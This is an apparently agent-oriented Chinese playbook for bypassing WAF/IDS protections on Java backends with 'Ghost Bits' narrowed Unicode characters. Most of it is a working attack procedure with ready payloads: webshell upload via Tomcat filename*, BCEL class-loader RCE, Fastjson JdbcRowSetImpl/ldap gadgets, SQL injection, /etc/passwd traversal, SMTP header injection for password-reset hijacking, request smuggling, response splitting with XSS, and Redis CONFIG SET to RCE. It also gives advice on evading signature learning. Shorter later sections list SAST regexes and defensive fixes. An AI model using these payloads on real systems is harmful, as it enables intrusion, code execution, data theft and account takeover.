Java 后端有 WAF/IDS 时用 Ghost…

当 Java 服务前端有 WAF/IDS 且字面攻击 payload 被拦截时，尝试把 16-bit char 窄化为 8-bit byte 的 Ghost Bits 变体绕过。

适用场景

解决思路

1. 识别后端是否 Java：检查 Server 头、错误页、JSESSIONID、.do/.action、WebGoat 风格栈跟踪、X-Powered-By、Tomcat 默认 X-Frame-Options；若不是 Java 则停止。
2. 判断是否存在 WAF/IDS 或输入过滤阻止字面 payload；若无则直接使用字面 payload；若有则进入 Ghost Bits 变体。
3. 根据 sink 选择配方：文件上传 multipart -> Tomcat filename*；JSON 反序列化 -> Jackson/Fastjson；类加载器/BCEL -> BCEL；URL 路径/参数 -> Spring/Jetty/Undertow/Vert.x + %2>；头反射 -> Apache HttpClient/JDK HttpServer；邮件发送 -> Angus/Jakarta Mail；Redis/RESP/XML/RPC -> Lettuce/Jodd/XMLWriter/Vert.x。
4. 先用单个非破坏性替换探测：把 payload 中一个受阻塞字符换成 Ghost 变体，观察状态码、响应长度、头回显、错误消息、时间差异。
5. 若出现可观察差异，替换所有被阻塞字符并链接对应 playbook。
6. 使用生成函数构建 Ghost 字符：Python `chr(((k & 0xFF) << 8) | (target_byte & 0xFF))`；Yaklang `string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))`。
7. 选择 k 时避免代理区 0xD800..0xDFFF（高字节 0xD8..0xDF），否则 JVM 解码器会替换字符，导致绕过失败。
8. 优先选择能存活应用 charset round-trip 的字符：Latin-Extended、CJK Unified Ideographs、Enclosed CJK Letters and Months、Hangul；UTF-8 请求体下这些编码为多字节序列，WAF 不识别为危险 ASCII。
9. 在请求间轮换 k，避免签名学习固定单一字符到单一攻击。
10. 对每个危险字节，通过 `c = chr((k << 8) | T)` 生成 255 个候选；使用危险字节到 Ghost 字符映射表：\t 0x09 ĉ U+0109；\n 0x0A 瘊 U+760A；\r 0x0D 瘍 U+760D；空格 0x20 Ġ U+0120；双引号 0x22 Ģ U+0122；% 0x25 严 U+4E25；& 0x26 Ȧ U+0226；单引号 0x27 ȧ U+0227；( 0x28 Ȩ U+0228；) 0x29 ȩ U+0229；. 0x2E 阮 U+962E；/ 0x2F 丯 U+4E2F；0 0x30 丰 U+4E30；1 0x31 失 U+5931；2 0x32 甲 U+7532；3 0x33 耳 U+8033；; 0x3B Ȼ U+023B；< 0x3C ȼ U+023C；= 0x3D Ƚ U+023D；> 0x3E Ⱦ U+023E；@ 0x40 ŀ U+0140；a 0x61 ᙡ U+1661；c 0x63 㹣 U+3E63；e 0x65 来 U+6765；j 0x6A 陪 U+966A；l 0x6C ౬ U+0C6C；n 0x6E 陮 U+966E；s 0x73 ⑳ U+2473；t 0x74 Ŵ U+0174；u 0x75 灵 U+7075。若 WAF 学习到示例，换另一个 k 替换。
11. 识别三类根因：Family A 真实高位截断：源码模式 `(byte) ch`、`ch & 0xFF`、`ch & 255`、`out.write(ch)`、`baos.write(ch)`、`dos.writeBytes(str)`、`String.getBytes(int,...)`、`StringBufferInputStream`、`raf.writeBytes(str)`；Family B 位运算折叠：Jetty `TypeUtil.fromHexDigit` 使用 `c & 0x1F`、`(c >> 6) * 25`、`- 16` 且无范围检查，`>` 0x3E 折叠为 0xE，所以 `%2>` 等于 `%2E` = `.`，`%2^`、`%2~` 等价其他 hex digit；Family C 宽松 Unicode 规范化：`Character.digit(c,16)` 接受泰文、旁遮普、全角数字，`sHexValues[ch & 0xff]`，全角 `U+FF12` -> `2`、`U+FF45` -> `e`。
12. Tomcat RFC2231Utility 文件上传 Webshell：触发 multipart 上传且 Tomcat 解析 `Content-Disposition: ... filename*=UTF-8''...`。Payload：`Content-Disposition: attachment; filename*=UTF-8''1.陪sp`。WAF 看到 `1.陪sp`，Tomcat 解码 `陪` -> 0x6A -> `j`，文件系统得到 `1.jsp`。上传目录固定但接受 `filename*` 时，组合遍历字符 `阮`、`丯`。
13. Apache Commons BCEL ClassLoader RCE：触发通过 BCEL 解析类名 `$$BCEL$$...` 或 `JavaReader` -> `ByteArrayOutputStream` 循环，漏洞代码 `bos.write(ch)`。将恶意 BCEL 字节码每个字节包装成低 8 位等于该字节的 Unicode 字符。WAF 看到无 `$$BCEL$$` 关键字或类签名的 CJK 文本；BCEL 解码出有效类字节，JVM defineClass -> RCE。蓝队 WAF 需复制 `bos.write(ch)` 语义。
14. Jackson charToHex SQLi 走私：触发 Jackson 解析 JSON 字段后嵌入 SQL 或其他解析器，Jackson 用 `sHexValues[ch & 0xFF]` 解析 `\uXXXX` 数字。Payload：`{"q": "\u丰丰耳失 union select 1,2,3 -- "}`。WAF 看到无前导数字；Jackson 重建 `\u0031` -> `1 union select...`。与 sqli playbook 配对。
15. Fastjson `\u` 转义绕过：`Character.digit(c,16)` 接受泰文 `๐-๙` U+0E50..U+0E59、旁遮普 `੦-੯` U+0A66..U+0A6F、全角 `０-９` U+FF10..U+FF19。Payload：`{"\u４_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}`。Fastjson 规范化全角 `４` 为 `4`，再经 `\x` 得到 `@type`。
16. Fastjson `\x` 转义绕过：Fastjson 计算 `digits[x1] * 16 + digits[x2]`，非法 hex 字符默认 0。`\x4_` -> `'4'(=4) * 16 + '_'(=0) = 0x40 = '@'`。Payload：`{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}`。WAF 看到 `\x4_type`；Fastjson 得到 `@type` -> JdbcRowSetImpl autotype gadget。
17. Spring/Jetty/Undertow/Vert.x URL 解码：Trick 1 字符替换：`/api/v1/data?file=阮丯阮丯etc丯passwd` -> `../../etc/passwd`。Trick 2 `%2>` 折叠：`/setup/setup-s/%2>%2>/log.jsp` -> `/setup/setup-s/../log.jsp`。Spring CVE-2025-41242：输入 `阮严灵丰丰甲来` -> 窄化 `.%u002e` -> 解码 `..` -> 任意文件读取。`Spring isInvalidPath()` 看到 `.%u002e` 无 `..` 允许，后端文件解析后遍历。
18. Angus Mail/Jakarta Mail SMTP 注入：应用从用户可控字符串构建 SMTP envelope/header，内部 `ASCIIUtility` 做 `byte b = (byte) ch`。将 CRLF 走私为 `瘍瘊`。Payload：`hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234`。应用验证看到单个 From 含 CJK；SMTP 服务器看到五个 header 行 + body。用于 Jira 风格 CVE-2025-57733 密码重置劫持、Confluence 域名允许列表绕过。
19. Apache HttpClient <= 4.5.9 请求走私：HTTPCLIENT-1974/1978 头值经 `OutputStreamWriter` 加窄化写入，为 `\u760D\u760A` 发出原始 `\r\n`。Payload：`X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1`。前端代理/WAF 看到一个请求；源站看到两个请求，第二个是 admin POST。确认 desync 后与 request-smuggling playbook 配对。
20. JDK HttpServer 响应拆分 CVE-2026-21933：用户输入反射到响应头经 `com.sun.net.httpserver` writer 低字节 cast。Payload：`Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>`。服务器发出两个逻辑响应，第二个携带攻击者 body。升级为存储 XSS、缓存投毒、SSO 重定向链。
21. 其他受影响组件：Lettuce Redis 客户端 — 走私 `\r\n` 进 RESP 帧，链 `CONFIG SET dir` + `SAVE` 实现 SSRF-to-RCE。Jodd `FileNameUtil` — 用 `阮` 和 `丯` 路径遍历。XMLWriter — 属性/文本节点经低字节 writer，标签名注入，XXE/XSS pivot。ActiveJ HTTP — CRLF 注入同 5.7/5.8。Vert.x HTTP body parser — `MultipartParser` 中 Family A。
22. Openfire CVE-2023-32315 auth bypass：原始 `GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp`；Ghost Bits/`%2>` 折叠 `GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp`。每个 `%2>` 经 Jetty 宽松 hex 折叠为 `%2E` = `.`，得到 `../../`，不向 WAF 发出 `..` 或 `%2e`。
23. GeoServer CVE-2024-36401 RCE：WAF 阻止 `Runtime`。用 `Ru%6>time`。`%6>` -> `%6E` -> `n`。求值器看到 `Runtime`，WAF 未看到。
24. Spring4Shell CVE-2022-22965 class loader chain：WAF 阻止字面 `class`。用低字节字符替换参数前缀：`Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."`。`c` U+3E63 低字节 0x63；`l` U+0C6C 0x6C；`a` U+1661 0x61；`s` U+2473 0x73。Spring 参数名解析器窄化回 `class`。
25. Spring CVE-2025-41242 任意文件读取：Payload `阮严灵丰丰甲来` -> `.%u002e` -> `..` after decode-after-validation。
26. Jakarta Mail CVE-2025-57733 Jira 风格邮件劫持：`to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234`。邮件离开公司 SMTP 服务器带有效 SPF/DKIM/DMARC，但 To/Subject 攻击者选择。
27. SAST Tier 1 直接窄化正则：`\(byte\)\s*\w+`、`&\s*0[xX][fF][fF]`、`&\s*255`、`\.write\(\s*[a-zA-Z_]\w*\s*\)`、`writeBytes\s*\(`、`StringBufferInputStream`、`String\.getBytes\s*\(\s*int`、`RandomAccessFile.*writeBytes`。
28. SAST Tier 2 宽松 hex/digit 解码正则：`Character\.digit\s*\(`、`fromHexDigit`、`convertHexDigit`、`fromHex\s*\(`、`uriDecode`、`URLDecoder\.decode`、`sHexValues\[`、`& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25`。
29. SAST Tier 3 高风险 wrapper 与可达性：`RFC2231`、`JavaReader`、`ASCIIUtility`、`LineParser`、`ChunkedDecoder`、`charToHex`、`encodeUTF8`。
30. 五维风险模型 triage：输入控制（HTTP param、header、filename、JSON key、mail address 更高风险）；验证（deny/allow list 在窄化点之前运行）；窄化时间（安全检查后转换）；语法目标（结果进入 URL/SMTP/HTTP/Redis/文件系统/SQL 语法）；再解码（Base64、URL-decode、JSON unescape、`%u` 等稍后发生）。高风险公式：attacker-controlled + check-before-narrow + result-in-protocol-syntax + later-redecoding = HIGH SEVERITY。
31. 差分测试工作流：1 选一个危险字节 T（如 0x2E）。2 生成 `C = { chr((k << 8) | T) for k in 1..255 }`，丢弃代理 0xD8XX..0xDFXX。3 对每个候选 c：a 发送 benign 请求，c 在选定位置；b 发送相同请求，字面 T 在相同位置；c 比较状态码、响应体长度、响应体内容哈希（或 diff）、服务器端日志行。4 若候选产生与 T 等价但与中性字符（如 'X'）不同的响应，找到窄化 sink。5 对下一个 T 重复：0x2E、0x2F、0x25、0x40、0x0D、0x0A、0x6A、0x73、0x6C、0x61、0x63、0x22、0x27。6 按组件聚类 sink（响应 Server 头、错误栈），一个 sink 通常意味着整个框架版本脆弱。
32. 防御层：源代码禁止手写 `(byte) ch`、`& 0xFF`、`out.write(ch)`、`writeBytes`；使用 `getBytes(StandardCharsets.UTF_8)` 或严格 ASCII allowlist 对协议字段。
33. 解码器：拒绝非法输入，永远不要将未知 hex/Unicode 数字/Base64 字符默认折叠为 0 或其低 8 位。
34. 验证顺序：总是先归一化再验证：严格解码 -> Unicode NFC/NFKC -> 协议归一化（URL `..` 解析、`File.getCanonicalPath`）-> 安全检查 -> 执行。
35. 协议字段：每个字段严格 allowlist（HTTP header 值、SMTP envelope、URL path、filename、JSON key、XML tag），拒绝任何 header 或地址中的 CR/LF。
36. WAF/IDS：运行 multi-view normalizer，总是检查原始字符串 AND `(char) & 0xFF` 视图 AND URL 解码视图 AND Unicode-NFKC 视图；当任何视图包含原始没有的危险语义时告警。
37. 蓝队 smell tests：日志在协议语法期望 ASCII 的位置包含 CJK/Latin-Extended 字符（filename、header value、mail address）；请求 HEX dump 包含 `0x20..0x7E` 之外的字节紧邻协议分隔符；渗透测试或扫描器报告“weird 200”但安全监控未标记——Ghost Bits 是 2025-2026 Java 栈最常见原因。
38. 快速参考 payload：`ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))` 避免 k 在 0xD8..0xDF；Tomcat `filename*="UTF-8''shell.陪sp"` -> `shell.jsp`；BCEL `$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>`；Jackson `{"q":"\u丰丰耳失 union select 1,2,3-- "}` -> `"1 union select…"`；Fastjson `{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}`；Spring URL decode + Jetty `%2>` 折叠 `GET /api/data?file=阮丯阮丯etc丯passwd`、`GET /setup/setup-s/%2>%2>/log.jsp`、`GET /api?cmd=Ru%6>time`；Spring4Shell `name*="㹣౬ᙡ⑳⑳.module.classLoader..."`；Spring CVE-2025-41242 `GET /resources/阮严灵丰丰甲来/secret.properties` -> `../%u002e`；Angus Mail `From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234`；Apache HttpClient `X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1`；JDK HttpServer `?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>`；SAST grep `grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/` 和 `grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/`。
39. 参考：Black Hat Asia 2026 Cast Attack；受影响 CVE：GeoServer CVE-2024-36401、Spring4Shell CVE-2022-22965、Openfire CVE-2023-32315、Spring CVE-2025-41242、Jakarta Mail CVE-2025-57733、JDK HttpServer CVE-2026-21933、Apache HttpClient HTTPCLIENT-1974/1978；升级：Apache Commons BCEL >= 6.12.0、Fastjson 2.x latest、Apache HttpClient >= 4.5.10 或 5.x、GeoServer >= 2.28.3、Openfire >= 5.0.4。
40. 加载高级参考 `PAYLOAD_COOKBOOK.md` 当需要完整字节到 Ghost 字符查找表（0x20–0x7E 和 0x00、0x09、0x0A、0x0D）、每组件版本矩阵和补丁标识、Yaklang 和 Python 一行 payload 生成器、多视图归一化引擎伪代码。
41. 配对 playbook：waf-bypass-techniques、deserialization-insecure、path-traversal-lfi、upload-insecure-files、request-smuggling、crlf-injection、sqli-sql-injection。

适用边界 · 注意事项

• 后端不是 Java 时：Ghost Bits 只适用于 Java 的 char 到 byte 静默窄化。
• 没有 WAF/IDS 或输入过滤拦截字面 payload 时：直接使用字面 payload，Ghost Bits 属于过度使用。
• 目标在到达窄化点前会严格拒绝或替换代理区/非法 Unicode 字符，或进行了严格 Unicode 归一化与 allowlist 验证时，Ghost Bits 可能无效。